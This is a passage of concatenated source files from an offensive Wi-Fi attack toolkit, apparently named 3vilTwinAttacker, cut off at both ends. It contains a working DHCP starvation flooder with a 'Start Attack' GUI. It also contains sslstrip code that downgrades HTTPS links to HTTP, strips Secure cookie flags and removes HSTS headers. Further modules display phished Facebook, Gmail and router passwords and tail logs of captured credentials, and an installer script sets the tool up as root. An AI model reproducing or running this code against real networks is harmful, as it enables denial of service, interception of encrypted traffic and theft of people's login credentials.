run(self): 32 | print "Starting Thread:" + self.objectName() 33 | self.count = 0 34 | while self.process: 35 | conf.checkIPaddr = False 36 | dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")\ 37 | /IP(src="0.0.0.0",dst="255.255.255.255")\ 38 | /UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))\ 39 | /DHCP(options=[("message-type","discover"),"end"]) 40 | sendp(dhcp_discover) 41 | self.count += 1 42 | self.data = ("PacketSend:[%s] DISCOVER Interface: %s "%(self.count,self.interface) 43 | + time.strftime("%c")) 44 | self.emit(SIGNAL("Activated( QString )"),self.data.rstrip()) 45 | self.emit(SIGNAL("Activated( QString )"),"[ OFF ] Packet sent: " + str(self.count)) 46 | def stop(self): 47 | print "Stop thread:" + self.objectName() 48 | self.process = False 49 | 50 | class frm_dhcp_main(QMainWindow): 51 | def __init__(self, parent=None): 52 | super(frm_dhcp_main, self).__init__(parent) 53 | self.form_widget = frm_dhcp_Attack(self) 54 | self.setCentralWidget(self.form_widget) 55 | self.setWindowTitle("DHCP Starvation Attack") 56 | self.setWindowIcon(QIcon('rsc/icon.ico')) 57 | 58 | self.config = frm_Settings() 59 | self.loadtheme(self.config.XmlThemeSelected()) 60 | 61 | def loadtheme(self,theme): 62 | sshFile=("Core/%s.qss"%(theme)) 63 | with open(sshFile,"r") as fh: 64 | self.setStyleSheet(fh.read()) 65 | 66 | class frm_dhcp_Attack(QWidget): 67 | def __init__(self, parent=None): 68 | super(frm_dhcp_Attack, self).__init__(parent) 69 | self.Main = QVBoxLayout() 70 | self.control = None 71 | self.GUI() 72 | def GUI(self): 73 | self.form = QFormLayout() 74 | self.list_log = QListWidget() 75 | self.check = QLabel("") 76 | self.check.setText("[ OFF ]") 77 | self.check.setStyleSheet("QLabel { color : red; }") 78 | self.btn_Start_attack = QPushButton("Start Attack",self) 79 | self.btn_Stop_attack = QPushButton("Stop Attack",self) 80 | 81 | self.btn_Start_attack.clicked.connect(self.D_attack) 82 | self.btn_Stop_attack.clicked.connect(self.kill_thread) 83 | 84 | self.btn_Start_attack.setIcon(QIcon("rsc/start.png")) 85 | self.btn_Stop_attack.setIcon(QIcon("rsc/Stop.png")) 86 | 87 | self.form.addRow(self.list_log) 88 | self.form.addRow("Status Attack:",self.check) 89 | self.form.addRow(self.btn_Start_attack, self.btn_Stop_attack) 90 | self.Main.addLayout(self.form) 91 | self.setLayout(self.Main) 92 | 93 | 94 | def getloggerAttack(self,log): 95 | self.list_log.addItem(log) 96 | 97 | def D_attack(self): 98 | interface = Refactor.get_interfaces()['activated'] 99 | if interface != None: 100 | self.check.setText("[ ON ]") 101 | self.check.setStyleSheet("QLabel { color : green; }") 102 | self.threadstar = ThreadAttackStar(interface) 103 | self.connect(self.threadstar,SIGNAL("Activated ( QString )"),self.getloggerAttack) 104 | self.threadstar.setObjectName("DHCP Starvation") 105 | self.threadstar.start() 106 | else: 107 | QMessageBox.information(self, "Interface Not found", 'None detected network interface try again.') 108 | 109 | def attack_OFF(self): 110 | self.check.setStyleSheet("QLabel { color : red; }") 111 | def kill_thread(self): 112 | self.threadstar.stop() 113 | self.attack_OFF() 114 | self.list_log.clear() -------------------------------------------------------------------------------- /Plugins/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | newvalues =[] 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | values = value.split(';') 51 | for v in values: 52 | if v[:7].lower()==' domain': 53 | dominio=v.split("=")[1] 54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v) 55 | real = self.urlMonitor.sustitucion 56 | if dominio in real: 57 | v=" Domain=%s"%real[dominio] 58 | logging.debug("LEO New cookie domain parameter: %s"%v) 59 | newvalues.append(v) 60 | value = ';'.join(newvalues) 61 | 62 | if (key.lower() == 'access-control-allow-origin'): 63 | value='*' 64 | 65 | ServerConnection.handleHeader(self, key, value) 66 | 67 | def stripFileFromPath(self, path): 68 | (strippedPath, lastSlash, file) = path.rpartition('/') 69 | return strippedPath 70 | 71 | def buildAbsoluteLink(self, link): 72 | absoluteLink = "" 73 | 74 | if ((not link.startswith('http')) and (not link.startswith('/'))): 75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 76 | 77 | logging.debug("Found path-relative link in secure transmission: " + link) 78 | logging.debug("New Absolute path-relative link: " + absoluteLink) 79 | elif not link.startswith('http'): 80 | absoluteLink = "http://"+self.headers['host']+link 81 | 82 | logging.debug("Found relative link in secure transmission: " + link) 83 | logging.debug("New Absolute link: " + absoluteLink) 84 | 85 | if not absoluteLink == "": 86 | absoluteLink = absoluteLink.replace('&', '&') 87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 88 | 89 | def replaceCssLinks(self, data): 90 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 91 | 92 | for match in iterator: 93 | self.buildAbsoluteLink(match.group(1)) 94 | 95 | return data 96 | 97 | def replaceFavicon(self, data): 98 | match = re.search(SSLServerConnection.iconExpression, data) 99 | 100 | if (match != None): 101 | data = re.sub(SSLServerConnection.iconExpression, 102 | "", data) 103 | else: 104 | data = re.sub(SSLServerConnection.headExpression, 105 | "", data) 106 | 107 | return data 108 | 109 | def replaceSecureLinks(self, data): 110 | data = ServerConnection.replaceSecureLinks(self, data) 111 | data = self.replaceCssLinks(data) 112 | 113 | if (self.urlMonitor.isFaviconSpoofing()): 114 | data = self.replaceFavicon(data) 115 | 116 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 117 | 118 | for match in iterator: 119 | self.buildAbsoluteLink(match.group(10)) 120 | 121 | return data 122 | -------------------------------------------------------------------------------- /installer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #install kali and ubuntu 3 | #--------------------------------------- 4 | txtund=$(tput sgr 0 1) 5 | txtbld=$(tput bold) 6 | green=$(tput setaf 2) 7 | bldred=${txtbld}$(tput setaf 1) 8 | red_color=$(tput setaf 1) 9 | color_y=$(tput setaf 3) 10 | bldblu=${txtbld}$(tput setaf 4) 11 | bldwht=${txtbld}$(tput setaf 7) 12 | txtrst=$(tput sgr0) 13 | #--------------------------------------- 14 | requeries=true 15 | func_Banner(){ 16 | clear 17 | echo ' =============================' 18 | echo " |$bldblu 3vilTwinAttacker Installer$txtrst|" 19 | echo ' =============================' 20 | echo " Version: $(tput setaf 5)0.6.4 $txtrst" 21 | echo "usage: ./installer.sh --install or --uninstall" 22 | } 23 | 24 | 25 | install_repo(){ 26 | dist=$(tr -s ' \011' '\012' < /etc/issue | head -n 1) 27 | if [ $dist = "Ubuntu" ]; then 28 | sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup 29 | File="/etc/apt/sources.list" 30 | if ! grep -q 'deb http://http.kali.org/kali kali main non-free contrib' $File;then 31 | echo "#Eviltwininstall" >> /etc/apt/sources.list 32 | echo "deb http://http.kali.org/kali kali main non-free contrib" >> /etc/apt/sources.list 33 | echo "deb http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list 34 | sudo apt-get update 35 | fi 36 | fi 37 | } 38 | 39 | usage(){ 40 | echo "usage: ./installer.sh --install | --uninstall" 41 | } 42 | 43 | func_check_install(){ 44 | if which $1 >/dev/null; then 45 | echo "----[$green✔$txtrst]----[$green+$txtrst] $1 Installed" 46 | else 47 | echo "----[$red_color✘$txtrst]----[$red_color-$txtrst] $1 not Installed " 48 | nome="$1" 49 | requeries=$nome 50 | fi 51 | } 52 | 53 | function program_is_installed { 54 | local return_=1 55 | type $1 >/dev/null 2>&1 || { local return_=0; } 56 | echo "$return_" 57 | } 58 | 59 | func_install(){ 60 | func_Banner 61 | if [ "$(id -u)" != "0" ]; then 62 | echo -e "$(tput setaf 6)[-] This script must be run as root$(tput sgr0)" 1>&2 63 | exit 1 64 | fi 65 | install_repo 66 | apt-get install -y python-qt4 ettercap-graphical xterm python-scapy aircrack-ng php5-cli python-nmap mdk3 67 | pip install BeautifulSoup 68 | File="/etc/apt/sources.list" 69 | if grep -q '#Eviltwininstall' $File;then 70 | cp /etc/apt/sources.list.backup /etc/apt/sources.list 71 | rm /etc/apt/sources.list.backup 72 | fi 73 | echo "----------------------------------------" 74 | echo "[=]$bldblu checking dependencies $txtrst " 75 | func_check_install "ettercap" 76 | func_check_install "dhcpd" 77 | func_check_install "aircrack-ng" 78 | func_check_install "php" 79 | func_check_install "mdk3" 80 | echo "----------------------------------------" 81 | dist=$(tr -s ' \011' '\012' < /etc/issue | head -n 1) 82 | check_arch=$(uname -m) 83 | echo "[$green+$txtrst] Distribution Name: $dist" 84 | if which dhcpd >/dev/null; then 85 | echo "" 86 | else 87 | echo "[$green+$txtrst] dhcpd installer Distribution" 88 | if [ "$dist" = "Ubuntu" ]; then 89 | check_dhcp=$(program_is_installed dhcpd) 90 | if [ $check_dhcp = 0 ]; then 91 | apt-get install isc-dhcp-server -y 92 | func_check_install "dhcpd" 93 | fi 94 | elif [ "$dist" = "Kali" ]; then 95 | check_dhcp=$(program_is_installed dhcpd) 96 | if [ $check_dhcp = 0 ]; then 97 | cp /etc/apt/sources.list /etc/apt/sources.list.backup 98 | File="/etc/apt/sources.list" 99 | if ! grep -q 'deb http://ftp.de.debian.org/debian wheezy main' $File;then 100 | echo "deb http://ftp.de.debian.org/debian wheezy main" >> /etc/apt/sources.list 101 | apt-get update 102 | apt-get install isc-dhcp-server -y 103 | cp /etc/apt/sources.list.backup /etc/apt/sources.list 104 | rm /etc/apt/sources.list.backup 105 | fi 106 | check_dhcp=$(program_is_installed dhcpd) 107 | if [ $check_dhcp = 0 ]; then 108 | if [ "$check_arch" = "i686" ]; then 109 | wget http://http.kali.org/kali/pool/main/i/isc-dhcp/isc-dhcp-server_4.3.1-6_i386.deb 110 | dpkg -i isc-dhcp-server_4.3.1-6_i386.deb 111 | elif [ "$check_arch" = "x86_64" ]; then 112 | wget http://http.kali.org/kali/pool/main/i/isc-dhcp/isc-dhcp-server_4.3.1-6_amd64.deb 113 | dpkg -i isc-dhcp-server_4.3.1-6_amd64.deb 114 | fi 115 | rm *.deb 116 | fi 117 | func_check_install "dhcpd" 118 | fi 119 | fi 120 | fi 121 | echo "----------------------------------------" 122 | echo "[=] $bldblu Install 3vilTwinAttacker$txtrst" 123 | if [ ! -d "$DIRECTORY" ]; then 124 | mkdir $DIRECTORY 125 | cp -r $path_install /usr/share/3vilTwinAttacker/ 126 | bin_install 127 | echo "[$green✔$txtrst] 3vilTwinAttacker installed with success" 128 | echo "[$green✔$txtrst] execute $bldred 3vilTwin-Attacker$txtrst in terminal" 129 | else 130 | rm -r $DIRECTORY 131 | mkdir $DIRECTORY 132 | cp -r $path_install /usr/share/3vilTwinAttacker/ 133 | bin_install 134 | echo "[$green✔$txtrst] 3vilTwinAttacker installed with success" 135 | echo "[$green✔$txtrst] execute $bldred 3vilTwin-Attacker$txtrst in terminal" 136 | fi 137 | echo "[$green+$txtrst]$color_y P0cL4bs Team CopyRight 2015$txtrst" 138 | echo "[$green+$txtrst] Enjoy" 139 | } 140 | 141 | bin_install(){ 142 | if [ ! -f "/usr/bin/3vilTwin-Attacker" ]; then 143 | echo "[$green✔$txtrst] PATH::$DIRECTORY" 144 | echo "[$green✔$txtrst] binary::/usr/bin/" 145 | echo "'/usr/share/3vilTwinAttacker/3vilTwin-Attacker.py'" >> /usr/bin/3vilTwin-Attacker 146 | chmod +x /usr/bin/3vilTwin-Attacker 147 | fi 148 | } 149 | 150 | uninstall(){ 151 | if [ "$(id -u)" != "0" ]; then 152 | echo -e "$(tput setaf 6)[-] This script must be run as root$(tput sgr0)" 1>&2 153 | exit 1 154 | fi 155 | if [ -d "$DIRECTORY" ]; then 156 | echo "[$red_color-$txtrst] Delete Path:$bldwht $DIRECTORY $txtrst" 157 | rm -r $path_uninstall 158 | if [ -f "/usr/bin/3vilTwin-Attacker" ]; then 159 | rm /usr/bin/3vilTwin-Attacker 160 | echo "[$red_color-$txtrst] Deleted Binary:$bldwht/usr/bin/3vilTwin-Attacker $txtrst" 161 | fi 162 | else 163 | echo "[$red_color✘$txtrst] 3vilTwinAttacker not Installed" 164 | fi 165 | } 166 | func_Banner 167 | DIRECTORY="/usr/share/3vilTwinAttacker" 168 | Dir_isntall=$(pwd) 169 | path_install=$Dir_isntall"/*" 170 | path_uninstall=$DIRECTORY"/" 171 | while [ "$1" != "" ]; do 172 | case $1 in 173 | --install ) shift 174 | func_install 175 | ;; 176 | --uninstall ) uninstall 177 | ;; 178 | -h | --help ) usage 179 | exit 180 | ;; 181 | * ) usage 182 | exit 1 183 | esac 184 | shift 185 | done 186 | -------------------------------------------------------------------------------- /Plugins/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE) 34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 39 | 40 | def __init__(self, command, uri, postData, headers, client): 41 | self.command = command 42 | self.uri = uri 43 | self.postData = postData 44 | self.headers = headers 45 | self.client = client 46 | self.urlMonitor = URLMonitor.getInstance() 47 | self.isImageRequest = False 48 | self.isCompressed = False 49 | self.contentLength = None 50 | self.shutdownComplete = False 51 | 52 | def getLogLevel(self): 53 | return logging.DEBUG 54 | 55 | def getPostPrefix(self): 56 | return "POST" 57 | 58 | def sendRequest(self): 59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 60 | self.sendCommand(self.command, self.uri) 61 | 62 | def sendHeaders(self): 63 | for header, value in self.headers.items(): 64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 65 | self.sendHeader(header, value) 66 | 67 | self.endHeaders() 68 | 69 | def sendPostData(self): 70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 71 | self.transport.write(self.postData) 72 | 73 | def connectionMade(self): 74 | logging.log(self.getLogLevel(), "HTTP connection made.") 75 | self.sendRequest() 76 | self.sendHeaders() 77 | 78 | if (self.command == 'POST'): 79 | self.sendPostData() 80 | 81 | def handleStatus(self, version, code, message): 82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 83 | self.client.setResponseCode(int(code), message) 84 | 85 | def handleHeader(self, key, value): 86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 87 | 88 | if (key.lower() == 'location'): 89 | value = self.replaceSecureLinks(value) 90 | 91 | if (key.lower() == 'content-type'): 92 | if (value.find('image') != -1): 93 | self.isImageRequest = True 94 | logging.debug("Response is image content, not scanning...") 95 | 96 | if (key.lower() == 'content-encoding'): 97 | if (value.find('gzip') != -1): 98 | logging.debug("Response is compressed...") 99 | self.isCompressed = True 100 | elif (key.lower() == 'content-length'): 101 | self.contentLength = value 102 | elif (key.lower() == 'set-cookie'): 103 | self.client.responseHeaders.addRawHeader(key, value) 104 | elif (key.lower()== 'strict-transport-security'): 105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") 106 | else: 107 | self.client.setHeader(key, value) 108 | 109 | 110 | def handleEndHeaders(self): 111 | if (self.isImageRequest and self.contentLength != None): 112 | self.client.setHeader("Content-Length", self.contentLength) 113 | 114 | if self.length == 0: 115 | self.shutdown() 116 | 117 | def handleResponsePart(self, data): 118 | if (self.isImageRequest): 119 | self.client.write(data) 120 | else: 121 | HTTPClient.handleResponsePart(self, data) 122 | 123 | def handleResponseEnd(self): 124 | if (self.isImageRequest): 125 | self.shutdown() 126 | else: 127 | HTTPClient.handleResponseEnd(self) 128 | 129 | def handleResponse(self, data): 130 | if (self.isCompressed): 131 | logging.debug("Decompressing content...") 132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 133 | 134 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 135 | #logging.log(self.getLogLevel(), "Read from server:\n " ) 136 | 137 | 138 | data = self.replaceSecureLinks(data) 139 | 140 | if (self.contentLength != None): 141 | self.client.setHeader('Content-Length', len(data)) 142 | 143 | self.client.write(data) 144 | self.shutdown() 145 | 146 | def replaceSecureLinks(self, data): 147 | sustitucion = {} 148 | patchDict = self.urlMonitor.patchDict 149 | if len(patchDict)>0: 150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) 152 | 153 | iterator = re.finditer(ServerConnection.urlExpression, data) 154 | for match in iterator: 155 | url = match.group() 156 | 157 | logging.debug("Found secure reference: " + url) 158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) 160 | sustitucion[url] = nuevaurl 161 | #data.replace(url,nuevaurl) 162 | 163 | #data = self.urlMonitor.DataReemplazo(data) 164 | if len(sustitucion)>0: 165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) 166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) 167 | 168 | #logging.debug("LEO DEBUG received data:\n"+data) 169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) 171 | #if data.find("http://w.face")!=-1: 172 | # logging.debug("LEO DEBUG Found error in modifications") 173 | # raw_input("Press Enter to continue") 174 | #return re.sub(ServerConnection.urlType, 'http://web.', data) 175 | return data 176 | 177 | 178 | def shutdown(self): 179 | if not self.shutdownComplete: 180 | self.shutdownComplete = True 181 | self.client.finish() 182 | self.transport.loseConnection() 183 | 184 | 185 | -------------------------------------------------------------------------------- /Modules/Credentials.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from Core.Settings import frm_Settings 20 | from os import chdir,getcwd 21 | from subprocess import Popen,PIPE,STDOUT 22 | 23 | class ThreadPopen(QThread): 24 | def __init__(self,cmd): 25 | QThread.__init__(self) 26 | self.cmd = cmd 27 | self.process = None 28 | 29 | def run(self): 30 | print 'Starting Thread:' + self.objectName() 31 | self.process = Popen(self.cmd, 32 | stdout=PIPE, 33 | stderr=STDOUT) 34 | for line in iter(self.process.stdout.readline, b''): 35 | self.emit(SIGNAL('Activated( QString )'),line.rstrip()) 36 | 37 | def stop(self): 38 | print 'Stop thread:' + self.objectName() 39 | if self.process is not None: 40 | self.process.terminate() 41 | self.process = None 42 | 43 | class frm_get_credentials(QDialog): 44 | def __init__(self, parent = None): 45 | super(frm_get_credentials, self).__init__(parent) 46 | self.label = QLabel() 47 | self.Main = QVBoxLayout(self) 48 | self.setGeometry(0, 0, 450, 200) 49 | self.center() 50 | self.owd = getcwd() 51 | self.config = frm_Settings() 52 | self.loadtheme(self.config.XmlThemeSelected()) 53 | self.Qui() 54 | 55 | def loadtheme(self,theme): 56 | sshFile=("Core/%s.qss"%(theme)) 57 | with open(sshFile,"r") as fh: 58 | self.setStyleSheet(fh.read()) 59 | 60 | def center(self): 61 | frameGm = self.frameGeometry() 62 | centerPoint = QDesktopWidget().availableGeometry().center() 63 | frameGm.moveCenter(centerPoint) 64 | self.move(frameGm.topLeft()) 65 | 66 | def Start_Get_creds(self): 67 | if self.radio_face.isChecked(): 68 | self.list_password.clear() 69 | logins = [] 70 | chdir(self.owd) 71 | log = open('Modules/Phishing/Facebook/log.txt', 'r') 72 | try: 73 | for i,j in enumerate(log.readlines()): 74 | logins.append(i) 75 | s = j.split('-') 76 | self.list_password.addItem('Email: ' +s[0] + ' Password: ' +s[1]) 77 | except: 78 | QMessageBox.information(self,'Error data','nothing captured from facebook') 79 | 80 | elif self.radio_gmail.isChecked(): 81 | self.list_password.clear() 82 | logins = [] 83 | chdir(self.owd) 84 | log = open('Modules/Phishing/Gmail/log.txt', 'r') 85 | try: 86 | for i,j in enumerate(log.readlines()): 87 | logins.append(i) 88 | s = j.split('-') 89 | self.list_password.addItem('Email: ' +s[0] + ' Password: ' +s[1]) 90 | except: 91 | QMessageBox.information(self,'Error data','nothing captured from Gmail') 92 | 93 | elif self.radio_route.isChecked(): 94 | self.list_password.clear() 95 | logins = [] 96 | chdir(self.owd) 97 | log = open('Modules/Phishing/Route/log.txt', 'r') 98 | try: 99 | for i,j in enumerate(log.readlines()): 100 | logins.append(i) 101 | s = j.split('-') 102 | self.list_password.addItem('IP: ' +s[0] + ' wifiPass: ' +s[1]) 103 | except: 104 | QMessageBox.information(self,'Error data','nothing captured from Route Attack') 105 | 106 | def Qui(self): 107 | self.frm0 = QFormLayout(self) 108 | self.list_password = QListWidget(self) 109 | self.list_password.setFixedHeight(200) 110 | 111 | self.btn_getdata = QPushButton('get data') 112 | self.btn_getdata.clicked.connect(self.Start_Get_creds) 113 | self.btn_exit = QPushButton('Exit') 114 | self.btn_exit.clicked.connect(self.deleteLater) 115 | 116 | self.radio_face = QRadioButton('Facebook') 117 | self.radio_gmail = QRadioButton('Gmail') 118 | self.radio_route = QRadioButton('Router') 119 | self.grid_radio = QGridLayout(self) 120 | self.grid_radio.addWidget(self.radio_face,0,0) 121 | self.grid_radio.addWidget(self.radio_gmail,0,1) 122 | self.grid_radio.addWidget(self.radio_route,0,2) 123 | self.frm0.addRow(self.list_password) 124 | self.frm0.addRow(self.grid_radio) 125 | self.frm0.addRow(self.btn_getdata) 126 | self.frm0.addRow(self.btn_exit) 127 | self.Main.addLayout(self.frm0) 128 | self.setLayout(self.Main) 129 | 130 | 131 | class frm_NetCredsLogger(QDialog): 132 | def __init__(self, parent = None): 133 | super(frm_NetCredsLogger, self).__init__(parent) 134 | self.Main = QVBoxLayout(self) 135 | self.setGeometry(0, 0, 550, 400) 136 | self.center() 137 | self.owd = getcwd() 138 | self.thread = [] 139 | self.config = frm_Settings() 140 | self.loadtheme(self.config.XmlThemeSelected()) 141 | self.Qui() 142 | 143 | def loadtheme(self,theme): 144 | if theme != 'theme2': 145 | sshFile=('Core/%s.qss'%(theme)) 146 | with open(sshFile,'r') as fh: 147 | self.setStyleSheet(fh.read()) 148 | else: 149 | sshFile=('Core/%s.qss'%(theme)) 150 | with open(sshFile,'r') as fh: 151 | self.setStyleSheet(fh.read()) 152 | def center(self): 153 | frameGm = self.frameGeometry() 154 | centerPoint = QDesktopWidget().availableGeometry().center() 155 | frameGm.moveCenter(centerPoint) 156 | self.move(frameGm.topLeft()) 157 | 158 | def Start_Get_creds(self): 159 | self.list_url.clear() 160 | self.list_creds.clear() 161 | # Thread Capture logs 162 | creds = ThreadPopen(['tail','-f','Logs/credentials.log']) 163 | self.connect(creds,SIGNAL('Activated ( QString ) '), self.loggercreds) 164 | creds.setObjectName('Netcreds::Credentials') 165 | self.thread.append(creds) 166 | creds.start() 167 | 168 | urls = ThreadPopen(['tail','-f','Logs/urls.log']) 169 | self.connect(urls,SIGNAL('Activated ( QString ) '), self.loggerurls) 170 | urls.setObjectName('Netcreds::Urls') 171 | self.thread.append(urls) 172 | urls.start() 173 | 174 | def loggercreds(self,data): 175 | self.list_creds.addItem(data) 176 | self.list_creds.scrollToBottom() 177 | def loggerurls(self,data): 178 | self.list_url.addItem(data) 179 | self.list_url.scrollToBottom() 180 | 181 | def exit_function(self): 182 | for i in self.thread:i.stop() 183 | self.deleteLater() 184 | def Qui(self): 185 | self.frm0 = QFormLayout(self) 186 | self.list_url = QListWidget(self) 187 | self.list_url.setAutoScroll(True) 188 | self.list_creds = QListWidget(self) 189 | self.list_creds.setAutoScroll(True) 190 | 191 | self.btn_getdata = QPushButton('Capture logs') 192 | self.btn_getdata.clicked.connect(self.Start_Get_creds) 193 | self.btn_exit = QPushButton('Exit') 194 | self.btn_exit.clicked.connect(self.exit_function) 195 | 196 | self.frm0.addRow(self.list_url) 197 | self.frm0.addRow(self.list_creds) 198 | 199 | self.frm0.addRow(self.btn_getdata) 200 | self.frm0.addRow(self.btn_exit) 201 | self.Main.addLayout(self.frm0) 202 | self.setLayout(self.Main) 203 | 204 | 205 | -------------------------------------------------------------------------------- /Plugins/sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random, re 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import 